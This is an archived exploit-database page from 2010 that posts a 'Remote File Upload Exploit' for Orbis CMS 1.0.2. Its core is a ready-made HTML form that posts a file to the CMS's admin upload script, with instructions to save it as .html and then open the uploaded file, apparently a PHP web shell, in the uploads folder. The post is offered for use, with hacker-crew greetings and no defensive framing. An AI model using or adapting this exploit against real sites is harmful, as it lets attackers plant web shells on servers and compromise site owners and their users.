Home / os / win7

[webapps / 0day] - orbis-1.0.2 Remote File Upload Exploit

Posted on 25 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>orbis-1.0.2 Remote File Upload Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 25 Sep 2010 | Exploit category: webapps / 0day | Exploit author: indoushka | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>======================================
orbis-1.0.2 Remote File Upload Exploit
======================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /&#039;             __  /&#039;__`        / \__  /&#039;__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /&#039; _ ` / /_/_\_&lt;_  /&#039;___  /    /`&#039;__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    #######################################           1
0                    I&#039;m indoushka member from Inj3ct0r Team           1
1                    #######################################           0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

######################################################################## 

# Vendor: http://www.novo-ws.com/orbis-cms

# Date: 2010-07-27 

# Author : indoushka 

# Thanks to : Powered by Orbis CMS

# Contact : 00213771818860

# Home : www.sec4ever.net

# Tested on : windows SP2 Fran?ais V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                                                                                                
# Exploit By indoushka 

&lt;fieldset&gt;&lt;legend&gt;&lt;img src=&quot;img/fileman_unf.png&quot; align=&quot;texttop&quot; alt=&quot;&quot; /&gt; Upload new file&lt;/legend&gt;
    &lt;div class=&quot;left&quot;&gt;
    &lt;form enctype=&quot;multipart/form-data&quot; action=&quot;http://127.0.0.1/orbis-1.0.1/admin/fileman_file_upload.php&quot; method=&quot;POST&quot;&gt;
    &lt;label for=&quot;upload&quot;&gt;Select file:&lt;/label&gt; &lt;span style=&quot;font-size:10px;&quot;&gt;(max size: &lt;?php echo ini_get(&#039;upload_max_filesize&#039;); ?&gt;)&lt;/span&gt;&lt;br /&gt;
    &lt;input name=&quot;upload&quot; type=&quot;file&quot; class=&quot;txt&quot; id=&quot;upload&quot; /&gt; 
	&lt;br /&gt;&lt;br /&gt;
	&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Upload file&quot; onclick=&quot;document.getElementById(&#039;upl&#039;).style.visibility=&#039;visible&#039;&quot; /&gt;
	&lt;/form&gt;
    &lt;/div&gt;
    &lt;div id=&quot;upl&quot; class=&quot;right&quot;&gt;&lt;img src=&quot;img/loading.gif&quot; alt=&quot;Busy uploading...&quot; /&gt;&lt;/div&gt; 
    &lt;/fieldset&gt;
    &lt;br /&gt;
    
Save As .html

you fond your file in the geniral dir

http://127.0.0.1/orbis-1.0.2/uploadsCh99.php

Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ===========================
special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller 
Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net 
MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te 
---------------------------------------------------------------------------------------------------------------------------------


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-25]</pre></body></html>

 

TOP

Malware :

Exploits :